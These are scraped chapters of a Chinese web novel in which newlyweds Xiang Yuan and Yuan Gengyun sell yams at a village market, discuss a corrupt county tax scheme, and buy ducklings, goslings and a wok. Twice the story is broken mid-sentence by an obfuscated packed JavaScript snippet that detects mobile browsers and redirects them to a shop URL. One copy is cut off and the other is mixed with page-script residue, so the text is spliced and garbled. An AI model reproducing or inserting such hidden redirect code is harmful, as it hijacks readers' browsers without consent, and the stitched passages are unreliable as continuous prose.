古柳下,坐着一位老农,边上是几担莲藕。 “嗯,这应该是去年的莲藕没有挖完,这时候拉出来卖,吃个新鲜,咱家水塘里也有,想吃的话等晚上回去挖一些。” 婚宴上就有一道糖醋莲藕,寓意佳偶天成。 向园没在水塘里瞧见荷叶,还以为是买的,原来是水塘里的。 她想岔了,春天的莲藕比夏末秋初新鲜上市的莲藕还要紧俏,有些机灵的,那时候就不挖,只等过年前挖一批,大家置办年货看见少不得要买。等春天天气暖和再挖一批,赶在这时候,有些人家想吃新鲜,卖个好价。 不过人人都不是傻瓜,你聪明我也聪明,都不卖留着冬天春天卖,卖得人多就又把价格压下去了。 现在莲藕只比秋冬贵一两文,大概是四五文一斤。 “好。”向园应下。 原耕耘拉着她走到桥头牙行摊位处,给牙人查验货物,开税单。 牙人麻利地扒拉着背篓查看,向园踮着脚,想看看他是如何查验的。 原耕耘拉她走近一点,扶住她,让她依着自己的胳膊瞧。 向园正稀奇,斜道里忽然过来一个人,二话不说带着原耕耘的肩膀就转了一圈,正到向园对面。 向园吓了一跳,追着喊,“你你、你做什么?这是我相公!” 那人噗嗤一笑,“看出来是你相公了,放心,我不抢你的!” 原耕耘已经捶开他,疾步走到向园身边,拉住她的手腕安抚:“没事儿,别怕!是熟人。” “啧啧~咦~”那人发出意味不明的感叹,围着两人转了一圈,打量向园几眼,又偏头瞟原耕耘,眼底满是不可思议。 “九郎,还以为你要在三清山出家当道士呢!这就动凡心啦?”说完,他又嘀咕道:“不过,遇上这样标致的小娘子,也难怪你动凡心。” 原耕耘迈出半步,侧边肩膀挡住向园大半身影,对他道:“这是拙荆向氏。”又偏头跟向园介绍,“是我朋友,喊何三哥就好!” 向园半个头探出原耕耘肩膀,喊了声“何三哥”,到底存着好奇心,没忍住打量几眼。 “弟妹!”何翀挥挥手,笑脸扬了一半,就看到原耕耘往右半步,把身后的小娘子挡了个严实。 “咦哟,你瞅瞅你那样儿,我就瞧瞧,又不抢你的。”干嘛一个个都拿打量恶霸的防备眼神瞧他。 “瞧瞧也不行,回家瞧自己的去!”原耕耘不恼,脚下也不让半分。 我家要是有,还能瞧你的? 何翀撇撇嘴,见他确实不让看,只得放下踮着的脚后跟,站实了假意恼道:“九郎,不仗义!成亲都不请我喝喜酒?没把我当兄弟?” 原耕耘瞪他:“请柬塞你家门缝里了,你没瞧见?” 婚事这样急,他往梯云巷跑了三次,一次都没遇上,就这还要被他恶人先告状! 何翀:“……” 他也没想到好兄弟突然就要成亲啊。 向园局促地看看两人,有些不好意思。 原耕耘失笑,握住她的手道:“遵家父和岳父岳母遗愿,婚事办得着急,找你三次你都不在,这才怠慢了,什么时候空了过来,请你喝酒。” “那可说好了啊,好久没喝,我正馋呢,到时可要跟你不醉不归!” “还能少了你的酒?”原耕耘利落应下,一时不防,何翀就猛地折腰后仰,朝向园露出个大大的笑脸,“我上门,弟妹可别嫌弃啊!” “怎么会?”向园吓了一跳,见他与原耕耘关系实在不错,又笑着道:“不嫌弃,不嫌弃!” 原耕耘笑而不语,向园不由反思,是不是这样简单的回答不够给他长面子,她颇为场面地补充道:“我、我会煮醒酒汤,喝醉了也没关系!” 她还会做好吃的小菜,但是现在不能说,说出来好像在吹牛,让人觉得耕耘哥哥娶了个浮夸爱说大话的媳妇儿就不好了。 何翀笑得直不起腰,有心想问原耕耘哪里寻摸的憨媳妇儿,但见他看媳妇儿的眼神温柔似水,像是要把人溺毙,他也只得摸摸鼻子,识趣道:“行啊,那就这样说定啦!你们忙吧,回头我再去叨扰。” 原耕耘丢给他一捆山药,“我娘子自家种的,留着吃吧。” 何翀也没拒绝,道声谢拎着山药颠颠地走了。 向园这才看向原耕耘,“耕耘哥哥,那是你朋友?” 原耕耘点头,“是朋友,认识挺多年了,我们小时候一起念书。” 还是故交啊!向园把自己刚刚说的话,复盘一遍,有些着慌,“我这样说,是不是闹笑话了?” 不然他怎么走出老远还捂着肚子耸肩膀? 原耕耘举起袖子,帮她擦掉额头汗珠,“没有闹笑话,你做得很好,他这是太羡慕我了。 “他想娶媳妇儿,人家都不肯嫁她,咱俩这么快成婚,又这般恩爱,他嫉妒得要死。他那可不是在笑,是在抹眼泪呢,他一哭就肚子疼。” “这样啊!”不是自己的问题,向园便不再关注。 “?!?”查验货物的牙人一时语滞,都忘了该做什么。 大名鼎鼎的何三爷不至于这样吧? 他看着何翀的背影,陷入沉默。 何翀过来的时候,他见两人认识,就放下了背篓,却始终没能插上句话。 现在何翀走了,他方歉意道:“恕我眼拙,不知道您跟何三爷相熟,这是□□,两位收好了啊!” 原耕耘笑笑,收了□□,又往铜钵里丢了几个铜板。 牙人没想到这样说了,他还是给了钱,带着几分惊讶看过去。 原耕耘已经背上背筐,拉着向园走远了。他给的钱不多,但是也绝对不少,只是没有多余的贿赂。 向园还从来不知道,在这儿摆摊还要交税,她记得几年前还不是这样。 “这两年新兴起来的规矩。”原耕耘拉着向园一边走,一边低声跟她解释。 “最开始尚能按朝廷规定,仅对盐、茶等官榷类目收税,后来渐次扩大到坐贾行商,凡是有固定商铺的商户,或在码头停泊的客商,皆须纳税。原本买卖自家出产的农户和走街串巷挑担营生的小商贩是不用交税的,但从去年底开始,县太爷把这摊事交给了自家小舅子,后来就慢慢扩大范围,最先只在巡检司巡检的日子征税,到后来逢圩必收,规定的五十税一,实际收的远不止这个数。” 钱落到哪些人口袋里,不用想都能猜到。 这两年,粮税也多了,不只他们这些农户为这个头疼,便是县里的大户也都为这个犯愁。 不然,他去找原丰收,原丰收也不可能痛快让步,比起孑然一身的他,原丰收才是最怕进衙门的那个。 现在,大家最担心的还不是现在这个县令。 这个县令是个老贪虫,他再贪,人到底老了,活不过这两年,不然也不会想着立各种明目收粮要钱。 大家担心的是,他开了这个头,就算他走了,新来一个县令,恐怕也乐得装糊涂,继续盘剥百姓,吃这个好处。 “他们怎么能这样!”向园握着拳头,义愤填膺。 “安田里那边是不是还没有这样?”原耕耘揉开她手问。 “应该没有吧?” 向园也不确定,她都好久没赶过圩了。外婆去年病重,也不怎么赶圩了,她们缺什么少什么都是跟村里人换,或者让村里人帮忙捎带,存下的鸡鸭鹅蛋和草药都是让表哥代卖的,也没听谁说过,在圩市上摆摊还要收税的。 “或许是因为安田里那边圩市不大,没有固定商铺,也没有商船经过。”原耕耘猜测。 草市桥这里就不一样,这边过往客商太多了。 不过,新起这个税,收了两年,今年好多有经验的船都不往这儿停了,人家直接往前走,到北边的桃源渡停,或者在南边的谷粮渡靠岸。那两处也收税,但相对要规矩些,不会没有根据就伸手硬要。 草市也不如前几年那么热闹,大家都学精了,既然你这里要收税,那我们就不来摆摊,能在村里跟人家换的,都跟人家换,还省了跑腿的工夫。 “县太爷这样,知府大人就不管管?”向园想不通,蓼县可就在知府的眼皮子底下,他敢这样作妖,不怕被抓吗? “他闭上一只眼,就能落一半的好处,那他还舍得把这只眼睁开吗?而且……” 原耕耘凑到向园耳边,“管收税的这个小舅子,是县太爷一房小妾的兄弟,姓楼,家就在城北楼状元村。他们同族还有一个女子,嫁给知府做偏房,是县太爷牵的线。” “那咱们以后少出来赶圩吧,能在村里换的,咱们都从村里换。”向园眉毛都皱成一团了。 胡乱收税不是好事,现在这个税老百姓还承担得起,只要不是活不下去,就不会反抗得太激烈。 但是收税的那些人可不会觉得老百姓可怜,哪怕老百姓乖乖交了税,他们也还想多盘剥一点,留够了交公的,就不能空着自己的口袋。 这些人从根儿上就坏了,那在他们手底下做买卖,自然不可能安生。今天要你多交两文钱,明天可能就要没收你挣的钱,后天可能得把背篓都抵给他。 既然难以预料会出现什么意外,那他们就少出来,少赶圩。 “嗯,咱们今天看看要买什么,都买齐了,接下来一段日子,就少往这儿来。”原耕耘道。 自收这个税起,他的猎物就很少拿到这儿卖了,值钱的就交给何翀处理,小东小西的就拿去城里,他也有几家相熟的馆子,卖到那儿价格算不得贵,但也省事不少,就如向园想的,能规避很多意外。 同样,这也是他在山上开荒的原因,谁知道官府还会出什么幺蛾子,要是再加税,他得保证纳税后自家粮食足够吃。 向园心浅,装不住太多事,今天知晓这个,她心里沉甸甸的,像是压了一块石头。 “耕耘哥哥,前几年你是不是多给我们粮食了?”她想起表哥每回来收租,那租子肯定不止三成。 “也不算多给。三亩田,两亩地,这边我和娘吃,那边你和外婆,我饭量大,留的还算多的。” 说话间,已经到了摆摊的地方,原耕耘抽出一张破毡子,铺在地上,把山药整齐摆上去。 她们一老一小,吃的少,就显得那粮食多了。 实际上,一年种两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温柔归温柔,他也有条件的。 “原耕耘。”向园叫得又轻又快,迫不及待。 “呵~”原耕耘发出意味不明的轻笑,直直看着她不语。 向园这才明白,他是在讲条件,晚上要让他给她舒服,她叫他的名字,他才会讲。 “那好吧!”她扁着嘴道。 原耕耘见不得她这委屈的模样,“刚刚那算你一个,晚上给你讲。” “好诶!”向园又高兴起来。 山药并不愁卖,他们刚把东西摆上,都没吆喝,就有人来问。 原耕耘提前看过,今天没有别家卖山药的,独他们一家,他要价就不便宜,“三十文一斤。” 那人看看,扭头走了,原耕耘也不挽留,别人来问价,他还是报这个数。 有听了就走的,也有买的,不过都是一斤两斤的买,唯有一个要买五斤,让他们让让价。 原耕耘不让价,“这您看着的,都是长了几年的好山药,养分足,实在让不了价,您要买的话,我从这摊上饶您两根。” 他说的是挖破皮的那些,大小都有,看着不甚整齐。 那人犹豫一番,掏了钱,不过饶的两根,他要自己挑。 自己挑就自己挑,原耕耘看着他挑,那人多拿了一根,抓着就跑。 向园目瞪口呆,“还能这样?” 原耕耘点点她的下巴,“这样的人很多。” 要拦下也不难,不过他不算过分,也就没有必要太死板。 向园很快就看到比这人还过分的,甚至有一个还想拿了山药就跑,被原耕耘及时拦下了。 她算是大开眼界,“不卖了,耕耘哥哥,以后咱们不卖了,自家留着吃吧。” 向园垂头丧气,这世上就没有一文钱是好挣的。 原耕耘怕她生了怯意,教导她:“他这样的只是少数,一年里也碰不上一两回的,而且,你看他为什么敢来咱们这儿偷鸡摸狗,那会儿咱俩在说话,他以为咱们不经心呢,换成对面那个大叔,你看他还敢不敢。” 向园知道,对面那个大叔眼神很利,一直就盯着眼底那三分地,把自家东西看得牢牢的,虽然少有人去买,但是也没人敢去偷。 向园点头,“那我们不说话了,好好看摊子。” 她也要盯着自家摊子。 原耕耘失笑,“那咱俩说话,耽误我抓贼了吗?” 是没耽误,向园笑起来,眼睛里闪亮亮的,“耕耘哥哥,你真厉害!” 她想了想,换了个夸法,“耕耘,你真厉害!” 说完,又觉得这样喊很奇怪。 “原耕耘,你很厉害!” 好像还是奇怪。 看来有些称呼不适合在白天喊,可耕耘哥哥爱听的话,喊一下也可以。 原耕耘:“……” 谢谢? “白天只说第一句就好!”他凑到向园耳朵边嘀咕。 那两句,可以留着夜里再说。 他没说,向园明白了。 她觉得自己嫁给耕耘哥哥后,还是有不少长进的,像是刚刚那句话,要是放到以前,她肯定要问个为什么。 但现在,她就不会问,因为她明白,夫妻间的事,就是要留到只有两个人的时候,悄悄说的。 最开始问价走了的人,转了一圈又回来了,他直接买了十斤。 向园高兴起来,帮着捆山药。 原耕耘要称重,向园还不太认识称,她打算回头跟着原耕耘学一学。 也不知是不是这人把他们生意带旺了,他买了之后,陆续有人来买,还没到晌午,一堆山药就卖光了。 收得的铜板多,向园带了个带盖小圆筐,有盘子大小,很深,铜钱装进去正好装满一小筐。 只有两块碎银,一个三钱,一个五钱,原耕耘装进向园的荷包里,把荷包揣自己怀里。 牙行的人作为经纪,代衙门执权履职,却只管收钱拿好处,不管巡查治安、弹压不良,圩市上治安并不好,不得不防。 不仅钱要藏严实,关键得把媳妇儿抓紧,原耕耘拉着向园,往铁匠铺去。 先买铁锅、麻绳,这些死板的买完了,再去买鸭崽儿、鹅崽儿这些活物。 39. 第 39 章 圩市上卖鸡崽儿的多,卖鸭崽儿鹅崽儿的少,通常都是老婆婆带着小孙女儿在卖。 每个摊儿上卖的数量也有限,多的十来只,少的四五只。 这个向园清楚,像是她和外婆养鹅,最初就是为了卖鹅蛋,鹅蛋个儿大,一个抵得上两个鸭蛋,三个鸡蛋,价格也就虚高一些。 鸡蛋是一文钱一个,天气热的时候还会降,八厘一个甚至七厘一个。 鸭蛋是固定的两文钱一个,虽然只比鸡蛋大一圈,但是很多人都爱吃。如果卖腌好的咸鸭蛋,能卖四文钱一个,腌得流油的那种,要是遇上爱吃的老主顾愿意买,他们甚至肯出五文钱。 这差不多就是和鹅蛋一个价了,鹅蛋就是五文钱一个。 鹅蛋也好卖,因为鹅蛋个儿都大,还比鸡蛋鸭蛋稀罕,愿意买的人都不卡大小。 卖鸡蛋鸭蛋,就不一样了,得大小均匀,大的不会多给钱,小的却要少给钱。 所以看着稍大一些的鸡蛋鸭蛋,卖了不如自己吃划算,他们以前都留着自己吃了。 小的也留着自己吃,因为蛋没小多少,钱却是实打实少的,还要单独分开放,卖着也麻烦。 大家买蛋都是宁买大的,不买小的,愿意买小鸡蛋鸭蛋的往往是手里银钱不足的,对于价格上抠得就比较紧,稍微买个十个八个的,就要跟卖家讨价还价,不是让便宜两文,就是让多给两个。 向园和外婆都不是牙尖嘴利的人,说也说不过,声音还没人家的大,干脆就不卖这种容易有争执的。 表哥卖的时候,更加利落,他就不爱跟人讨价还价,反正我这都是好东西,价格就摆在这儿,你要买就利落掏钱,不买就别碍我生意。 到后头,他维系下来的都是很大方很慷慨的主顾,一次就能买下她们一个月存量还嫌少的那种。 所以,指望卖蛋的人家养鸡鸭鹅,收的粮食少的话,就不会喂太多只,一般都是喂一只公的,其他都是母的。母的下蛋,能孵小雏崽儿的蛋就留着孵崽儿,不能孵的就卖了。 孵崽儿也通常是选一只老母鸡,因为鸭和鹅都坐不住,爱跑,只有老母鸡能坐得住窝。 一只体形健壮的大母鸡最多能孵二十五个鸡蛋,孵鸭蛋就要少些,能孵二十个就不错了,鹅蛋就更少,一次只能孵十几只。 孵化完这只老母鸡也瘦了,得休息好几个月才能养回来继续下蛋,这时候,就要把这只老母鸡也卖了,想改善生活的话,就杀了自家吃。 向园之前就没少吃这样的老母鸡。 再说小雏崽儿,孵出的小雏崽儿也不会都拿去卖了,一般都是自家辨认一下,母的就留着,长大了好下蛋,公的才拿去卖。不然一群都养大了,粮食都不够给它们吃的。 这才有每个摊子上只有几只小鸭雏和小鹅崽儿的情况发生,实在是一窝孵不出来多少只,母的主家还都要自己留着的缘故。 向园倒不拘泥公的还是母的,她都要养。公的可以整只卖,也可以自家吃,但是她得确保自己买的这些雏崽儿里有母鸭和母鹅。 只有有母鸭母鹅打底,她才能越喂越多,实现鸭蛋鹅蛋、鸭雏儿鹅崽儿自给自足,发展壮大她的禽族大军。 这就要考验眼力了,小雏崽儿小的时候不好分辨公母,里头说不得就有漏网之鱼,向园挑的就是有漏网之鱼的那些。 她养这几年,也养出经验来了,虽然比不得老婆婆老奶奶阅历丰富,但是她眼神好啊,只看体躯外形和头部特征差不多就能判断出来公母。 “耕耘哥哥,我们去买那一窝,那一窝小鸭雏都很健康,至少有三只是母的。” 原耕耘很好奇,“怎么看出来的?” 那么一丁点大,不都是黄泱泱、毛茸茸,嘎嘎叫着,怎么就看出来不同了? “你看那几个鸭头是不是比别的要小,身体看着扁扁的,尾巴毛散开。它们头小,鼻孔却大,圆圆的,公鸭的鼻孔不一样,是窄长的。” 原耕耘顺着向园说的看,只看出鼻孔的区别,别的一点也看不出来。 看不出来也没关系,向园认得就行,他们俩上前去问价格。 “阿婆,鸭崽儿怎么卖啊?”向园声音甜甜的。 “小娘子要啊?六文钱一只,我这养的可都是好的,身体壮实着,都喂了有半个月了,要不是实在喂不下,我可舍不得卖。”阿婆笑眯眯道。 比往年要贵一文钱,但想想桥头收税的牙行,她又能理解了。 听耕耘哥哥说,他们交的那些钱,其实远远不够五十税一的标准,但是如果跟牙行有关系,他们给你登记货物少登记一些,或者把贵的货物登记成便宜的,那就可以少交税。 如果他想故意刁难你,你卖的是五文钱一斤的大米,他偏偏要记成六文钱一斤的小麦,甚至是八文钱一斤的面粉,你卖一担莲藕,他偏偏要写成一担菱角,那真是哭都没地方哭。 而且遇到一些不讲理的人,你说不卖都由不得你,□□给你开好,税钱你得留下,你不想卖,自己挑着回家去吧。 尽管有巡检司抽查,但那就是做个样儿,他们连本职的缉捕盗贼都不管,谁还管你有没有被牙行刁难。 他们来查验抽检,查的是卖主一票多用,抽的是你的分成,要的是好处。 何翀过来后,这地界没之前那么乱了,钱虽也不少收,但是胥吏牙行不能像以往那样明目张胆地欺压百姓,巡检司也有个收拢。 向园看原耕耘,原耕耘点点头。 向园道:“这一共是多少只,多少钱?” 要问个数和总价,不是向园不识数不会加减乘除,而是卖鸡鸭鹅崽儿的农人往往年纪大,有时候可能会算错。 要是买家数的十只,卖家偏偏要说十一只,买家算的六十文,卖家偏偏要说六十一文,这买卖就没法继续做了。 当然也有些故意使坏的,买家卖家都有,识字识数的糊弄不识字不识数的,把人坑得多出钱倒找钱的也不少见。 向园看着小鸭雏就喜欢,可她也没上手碰过,要等老婆婆报了价,她对得上,才肯上手摸。 老婆婆在家是让老头子帮她数好的,价格也是死的,总体不会超过某个范围,当下就道:“丫头,我这一共是八只,六文钱一只,你要几个,我给你挑。你放心,婆婆喂这么些年,别的没有,眼力还是有的,给你捡最大只的挑。” 向园笑笑,“我都要了,是多少钱,我们结给您。” 都要就是四十八文钱,这是老婆婆记得最准的一个数字,老头子说过,只要卖完了,钱加起来够这个数,就是对的。 但是付钱的时候还有麻烦,钱太多就数不过来。 向园只好数六个铜钱,老太太查验无误,递过来一只小鸭雏,等八只鸭雏都安置到向园的背筐里,一刻钟都快过去了。 他们又去下一家买。 鹅崽儿倒没 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她是想要母鹅,也不会不给人留余地,一共三十只鹅,差不多十六只母的,十四只公的。 她买十五只,挑的时候都是一半一半,她要存心想挑,直接把母的都挑完不就得了。 这人真是,讨人厌。 原耕耘也看过去,“你自己就分得清公母,既然不想让人挑,为什么一开始不说,我们挑完了你才说!” “就是!”向园愤愤不平,“人家不让挑的,都是把公母分开,装两个笼子卖的,你既然不让挑,还放一起,是什么意思?” “耕耘哥哥,我们不要买了。”她说着,就要起身,当真不要买这家的了。 那摊贩没料到他们真懂,讨了个没趣儿。实则这鹅崽儿也不是他自己家养的,而是从乡下收的,他刚开始做这生意,也分不清公母,就想着诈一诈,没想到就诈出来个硬茬子。 他讪讪笑道:“这不是老娘在家交代过嘛,我是分不清公母,但看小娘子挑得这么仔细,我还以为把母鹅都挑走了,我才急的,没别的意思。你们再挑,再挑。” 向园“哼”了一声,很是傲娇,背过身去给原耕耘使眼色。 原耕耘失笑,拉她的手,对小贩道:“这样吧,我们再挑两只母鹅,剩下的鹅,我娘子告诉你公母,分开放,晚会儿再有人买,你可以跟人家说清楚,也可以分开定价。” 小贩犹豫两秒,就同意了,又提了个要求,“这样吧,你们教我怎么辨认公母,我就再舍三文钱。” 原耕耘挑了挑眉,这的确是个做生意的料子,一眨眼就把钱算出来了。 他拉拉向园的手,喊她“娘子”,尾音翘翘的,询问的语气。 向园终于明白他为什么那么喜欢她叫他一些特别的称呼了,因为不同寻常的称呼和语气,确实会让人心肝发颤啊。 她回转头来,看了原耕耘一眼,小手一挥,对小贩道:“那好吧!看在我相公的面子上,我还在你这儿买好了。” 买主是大爷! 向园用动作、神情和语气表达了这个意思。 小贩小眼睛都瞪圆了,直愣愣看过来,眉毛扬起,一副不能理解的模样。 原耕耘心里闷笑,面上还要严肃地陪向园做戏。 向园没发现什么不对,又蹲下来一边挑鹅崽儿,一边给小贩讲解。 40. 第 40 章 转了两圈,一共挑了二十七只鸭雏,十六只公的,十一只母的。还有二十只鹅崽儿,十一只母的,九只公的。 鸭雏是一百六十二文,鹅崽儿是一百七十七文。 还买了一口铁锅。 平底铁锅比较少见,铁匠那里刚好打了一个底部弧度比较平缓的,像铜钵盂一样的浅口鼎锅。 锅很大,有二尺广,六寸深,圆鼓鼓、亮堂堂的,还很厚实,向园一下子就喜欢上了。 这个花了一百二十文。 一盘四股黄麻绳,五十文,这个是绑秋千用的。家用的麻绳原耕耘自己就能编,但绑秋千用的麻绳得足够结实,他就直接来买了。 向园看了,很大一盘,有大拇指粗细,三尺绕成一圈,绕了十五圈,全部展开得有四丈多长。 原耕耘还抻着试了试,确定足够柔韧结实才付了钱。 主要这绳子是用来打秋千的,要格外注意质量,不然就很危险。 原耕耘又给向园挑了一顶草帽,这是麦秸编的,遮阳用很好。 摊子上也有竹帽,但竹帽有些沉。她今天戴的他的,额头上就压了一圈印记,换上草帽,就轻便许多。 草帽不贵,十八文一顶。 向园又拿了一顶大一点的,“耕耘哥哥也买一顶。” 原耕耘戴上试试,觉得也行,一道付了钱。 他的竹帽就倒扣在背筐上,为鸭雏鹅崽儿挡太阳。 向园顶着新草帽,一边走,一边给原耕耘画饼。 “耕耘哥哥,我也会编草帽,现在香蒲太嫩了,等夏末,香蒲叶子长老了,咱们割一些晒干,舂软,就能编东西了。到时候我给你编一顶蒲草帽,又轻便又细密,帽围那里用薄棉布垫一圈,不仅不会勒,还能吸汗。还可以染成你喜欢的颜色。” “好,给你染一顶花帽戴。”原耕耘笑着听,在路口买了两串糖葫芦,一串给她吃,一串帮她拿着。 至于他的,就不必了。他只喜欢蓝绿二色,蓝色的帽子不好看,绿色的嘛,向园要是想给他戴绿帽子,他就把向园扛进山里,顶好两个人一辈子都别出来。 “耕耘哥哥,你怎么不吃?”向园咬掉一颗山楂。 这糖葫芦还不赖,山楂的籽都去掉了,中间塞了一团白生生的像糍粑一样的东西。 糖衣很脆,咬下去,咔嚓咔嚓响,酸酸甜甜的。 那白团果然是糍粑,嚼碎了向园才觉出来,糯米的清香混着酸甜的滋味,很好吃。 “我不喜欢吃糖葫芦。” 原耕耘对一日三餐外的食物都不怎么感兴趣。 说也奇怪,都是吃的,放到饭点,哪怕不喜欢的食物,他也能吃出几分意思来,饭点之外,除非饿极,不然他总觉得索然无味。 但也有例外,例如向园递过来的糖葫芦。 “耕耘哥哥,你咬一颗尝尝,很好吃的。”向园把咬过的糖葫芦递到他嘴边。 她没见原耕耘独自吃过什么东西,像是麻杆糖、雪片糕,都是她喂给他吃他才肯吃。可她喂他第一口他就不吃,她吃过再喂他,他就愿意吃。 向园把这归结为耕耘哥哥太疼她了,什么好吃的,自己不舍得吃,要留给她吃。 村里好多爹娘、哥哥姐姐都是这样。但外婆不这样,外婆总愿意和他们一起吃。 “好吃的东西大家一起吃才有滋味。”这是外婆的原话,向园觉得很有道理,现在讲给原耕耘听。 原耕耘看着亮晶晶的山楂,果真咬了一颗下来。 向园期待地看他,“怎么样,是好吃吧!” 原耕耘点头,她吃过的东西,是不太一样。 向园又咬一颗,还让原耕耘赶紧吃,“耕耘哥哥,你不要举着了,再举太阳就晒化了,糖衣就不脆了。” 原耕耘:“我不爱吃,留着你吃。” 向园:“……哼!” 她不喂他了。 可想着不喂他,就觉得他举着糖葫芦走,只能看、不能吃很可怜,她又去喂他。 原耕耘又爱吃了。 向园觉得这就是原耕耘的毛病,但也没办法,只能一路吃,一路喂。 太阳越升越高,背筐里还有嘎嘎叫唤的鸭雏鹅崽儿,两人吃完糖葫芦,不敢再耽误,加快脚步往家走。 到了家,两人来不及给自己做饭,要先安置小家伙儿们。 向园不敢直接把它们放到河里,现在它们太小,还受不住凉水。 原耕耘思索片刻,直接圈到两墙相隔的空隙里。 刚说了要围鸭圈,他昨天抽空就围好了。 北墙扎的人高的粗竹竿,没留空隙,密密实实扎了一排。为了更牢固,横向上中下他又钉了三根,斜着也各钉了两根,就是大鹅蒙着头往上撞,也撞不倒。 南墙就是短篱笆,因为孔隙留得大,还开了个栅栏门,怕鸭雏鹅崽儿顺着钻出来,原耕耘找了张破谷笪绑在上头。等它们长大了,钻不出来了,再把谷笪取下来。 这样一围,方便许多,只需要再把菜园边的木槿花篱稍微修剪疏松一下,就可以站在菜园边隔着篱笆给它们喂食了。 现在,原耕耘抱着稻草去给它们铺窝,向园就剁草给它们拌食儿。她早上烧的有开水,现在已经晾凉了,正好用来拌食儿用。 依旧拌的喂鸡崽儿的细食儿,稗子碎末、麸皮,还掺了一瓢玉米糁和一把切得细碎的莴苣叶,很丰富。 向园拌食儿的时候,把大鸡娃小鸡崽儿都馋来了,围着她转悠个不停,她稍不注意,它们就把头埋到盆里去。 “少吃少吃!”向园挥手赶开它们,“等等,一会儿再吃啊!有你们的份儿!” 向园可不是有了鸭雏鹅崽儿就不喜欢鸡崽儿的人,她不偏心,拌的这些食儿大家都有份。 至于“少吃少吃”这个词嘛,是她一直就听外婆念叨的。 外婆每次撵鸡,都要这样发出类似的声音,少是重音,吃是轻音,向园不知道是哪几个字,但听起来跟“少吃少吃”很像,她就跟着学了。 撵鸡的时候,自然是不让它们吃食儿的,喊“少吃少吃”,好像也没错? 向园琢磨着,把料食儿倒进鸡盆里一些。今天她没工夫给大鸡小鸡分开拌食儿了,就让老母鸡和大鸡娃沾沾光,跟着小鸡崽儿混一餐吧。 混一餐的结果就是,向园喂完鸭雏和鹅崽儿回来,一进门就看见大鸡撵着小鸡叨,小鸡崽儿吓得扑棱扑棱乱飞乱跳。 自然是飞不起来的,好几只被啄得蒙着头乱钻。 “吼嗤吼嗤,你们太霸道了!”向园捞根竹竿,驱逐大鸡,把它们撵到一边,自己站在食盆边上,护着小鸡吃食儿。 等小鸡吃够了,她才把小鸡赶到鸡圈里,让大鸡吃。 这真是忙乱的一个中午,她到这会儿才有功夫去做晌午饭。 “耕耘哥哥,你想吃什么?”她隔着篱笆喊。 原耕耘还在鸭鹅圈里搭棚子,闻言回道:“简单做点就行,早上的饼子不是还有,煮点米汤喝吧。” 向园应了一声。 她也想喝米汤,跑这一上午,确实很渴。 煮米汤就很简单,加两勺米,添够水,放些硬柴烧着,等米汤熬煮开花就行。 向园去菜园抽了一把蒜薹,简单加点盐醋腌一下,等吃的时候加一点麻油,拌拌就很清爽了。 拌好小菜,她就要去原耕耘那里帮忙。 原耕耘瞟见她的身影,“别过来了,我这儿就弄好了,马上回去。” 向园脚下转了个弯,站在菜园边上看。 她看了片刻,想起草堂还没收拾,又打水去收拾后头两间草堂。 收拾好,晾一晾,就算今天住不了,明天肯定能在这儿歇晌。 天气足够热,她把门窗打开,通风透气。 原耕耘过年才洒扫过,房顶和墙面没有蛛网和灰尘,屋里是石头地面,不怕渗水,向园也不用抹布抹,直接用水冲。 正好水井就在附近,打一桶水,拿一个葫芦瓢,一瓢一瓢泼过去,把家具上的灰尘冲走,有些顽固的,她再拿抹布抹一遍,基本就干净了。 家具上的水流到地上,向园拿扫把扫到门槛处,用铁锹铲了泼到门口,这样两遍下来,屋里地上干干净净,清清爽爽。 她又拿了个装灰的陶盆进来熏屋子。 盆底铺一层灰,上头蓬一捆青艾叶,从中心点燃,没一会儿,青烟就一股一股冒起来,呛得向园赶紧跑出去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16387419|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原耕耘正好过来,“你都弄好了?” 向园得意点头,“一会儿找张席子晾一晾,铺上明天就能住了。” “墙边不是有一张棕垫,就是这张榻上的,铺那个就好,我看看,我记得哪里还有一张藤席,也能用。” 向园这才透过窗子看见墙角的厚垫子,她还以为那是墙挡板呢。 “这垫子好厚啊,这样就不会硬邦邦的了。” 她挺高兴,她也不爱睡硬床的。 原耕耘笑着道:“都是以前的物件,一直放着,没怎么用过,我和娘刚搬过来的时候都收拾了一遍,为了不占地方,才竖起来的,后来就给忘了。” 晚点再找一床薄褥子,也铺上去。睡竹席,凉快是挺凉快,但是也硌得慌,不如褥子舒服。 等夏天,他们晚间也住这间屋子,肯定比前头清凉一些。 简单吃了饭,两人洗漱洗漱,去歇晌。 嗯,歇晌之前得先数钱、串钱、藏钱。 今天卖山药得了一两九钱五分银,置办各种东西加交税花了五百六十文钱,结余一两三钱九分。 原耕耘拿出一两整,给向园存的二十两整钱又添了一笔。剩下三钱九分,归入平时花用的小匣子里。 向园躺倒之前还不忘交代,“耕耘哥哥,你醒了喊我,我要早点起来。” 原耕耘把她按下去,“你起来要做什么?” 他都发现了,她午觉睡得足,晚上就不困,能折腾得久一点才睡。午觉睡不足,晚上就困得早,基本刚吃完夕食就要打哈欠。 向园没想好要做什么,她只是想跟他一起起来。 昨天醒来的时候,他不在身边,她都愣了一会儿。 好像回到刚去外婆家的时候,外婆早起去采蘑菇,她睡醒,睁开眼是全然陌生的环境,她喊好些声都没有人应,心里总是有点失落。要过好一会儿,才能醒过劲儿来。 在这里,她虽然不像五年前那样怕生,但是能跟他一起的话,当然是最好的。 原耕耘没等到她的回答,“是不是害怕?” 向园摇头,这个季节,屋外总是很热闹,她也没太害怕。 原耕耘怜爱地亲吻她的额头,“是想跟我在一起?” 对,就是这个意思! 向园很乖地点头,还弓起背噘嘴亲了他一下。 原耕耘把她抱到怀里揉搓一顿,揉得她人乱了,心也乱了,他才收回手,轻声道:“好,我醒了就喊你,咱们一起架秋千。” 向园高兴了,“好啊,那我们要早点,架完秋千,我还要洗衣裳。”她想起自己要做的事。 那天早上,原耕耘把她弄脏之后,床铺也脏了。 